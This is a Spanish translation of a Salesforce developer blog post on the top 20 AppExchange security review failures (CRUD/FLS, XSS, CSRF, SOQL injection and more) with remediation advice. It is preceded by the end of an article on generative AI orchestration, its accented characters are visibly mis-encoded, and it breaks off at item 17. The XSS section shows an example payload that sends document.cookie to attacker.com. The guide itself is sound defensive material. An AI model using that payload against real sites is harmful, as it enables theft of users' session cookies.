  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detecci贸n de toxicidad y el registro de seguimiento de auditor铆a. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detecci贸n de toxicidad comprueba si hay contenido da帽ino u ofensivo en el resultado. El registro de seguimiento de auditor铆a registra todo el proceso con fines de auditor铆a.

De cara al futuro: creaci贸n de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este art铆culo: 驴C贸mo cambiar谩 la IA generativa la naturaleza de las aplicaciones?

Encadenamiento r谩pido

La l贸gica involucrada en la creaci贸n de un mensaje a veces puede volverse compleja. Puede implicar m煤ltiples llamadas a API o servicios de datos, como en el ejemplo de conexi贸n a tierra din谩mica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento r谩pido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se env铆a al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestaci贸n de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven m谩s complejos, podemos ver la necesidad de alguna forma de orquestaci贸n. Como desarrollador, luego crear铆a una serie de bloques de construcci贸n que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna l贸gica computacional, etc. Estos bloques de construcci贸n se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestaci贸n. Esto se podr铆a hacer usando una herramienta de orquestaci贸n tradicional que le permita definir qu茅 bloques de construcci贸n usar, en qu茅 orden y cu谩ndo (con diferentes ramas "si"). Pero, 驴qu茅 pasar铆a si la orquestaci贸n en s铆 estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qu茅 bloques de construcci贸n usar y c贸mo componerlos para realizar una tarea espec铆fica? La orquestaci贸n impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcci贸n orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes b谩sicos descritos anteriormente. Podr铆an ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales est谩n disponibles de forma predeterminada y otras ser谩n desarrolladas por los desarrolladores. Esto tambi茅n crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecuci贸n de la orquestaci贸n, el planificador elige (crea un plan para) qu茅 acciones usar y c贸mo componerlas para responder mejor a la solicitud del usuario.

La orquestaci贸n de IA es un 谩rea activa de investigaci贸n en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a trav茅s de API es una forma com煤n de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados m谩s relevantes y 煤tiles. En lugar de pedirle al usuario que ingrese una gran cantidad de informaci贸n b谩sica manualmente, puede crear el mensaje mediante programaci贸n llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creaci贸n de mensajes al permitirle crear plantillas de mensajes en un entorno gr谩fico y vincular campos de marcador de posici贸n a datos din谩micos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestaci贸n impulsada por la IA es un paradigma emergente que podr铆a cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de coraz贸n con m谩s de 25 a帽os de experiencia en la creaci贸n de aplicaciones empresariales, habilitando audiencias t茅cnicas y asesorando a organizaciones de TI.

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Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Las 20 vulnerabilidades principales encontradas en la revisi贸n de seguridad de AppExchange 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Las 20 principales vulnerabilidades encontradas en la revisi贸n de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisi贸n de seguridad de AppExchange es uno de los procesos de revisi贸n m谩s rigurosos de cualquier mercado de aplicaciones en l铆nea. Esta estricta reputaci贸n es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor n煤mero uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los m谩s altos est谩ndares de seguridad posibles para la protecci贸n de los datos de los clientes.

Dicho esto, estos est谩ndares pueden representar un desaf铆o importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener 茅xito, en orden de prevalencia, esta publicaci贸n analizar谩 las 20 razones principales por las que los socios no pasan la revisi贸n de seguridad (a partir de 2023). Tambi茅n cubriremos c贸mo remediar o prevenir estos problemas.

#1 鈥 Aplicaci贸n de CRUD/FLS

驴Qu茅 es esto?

Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

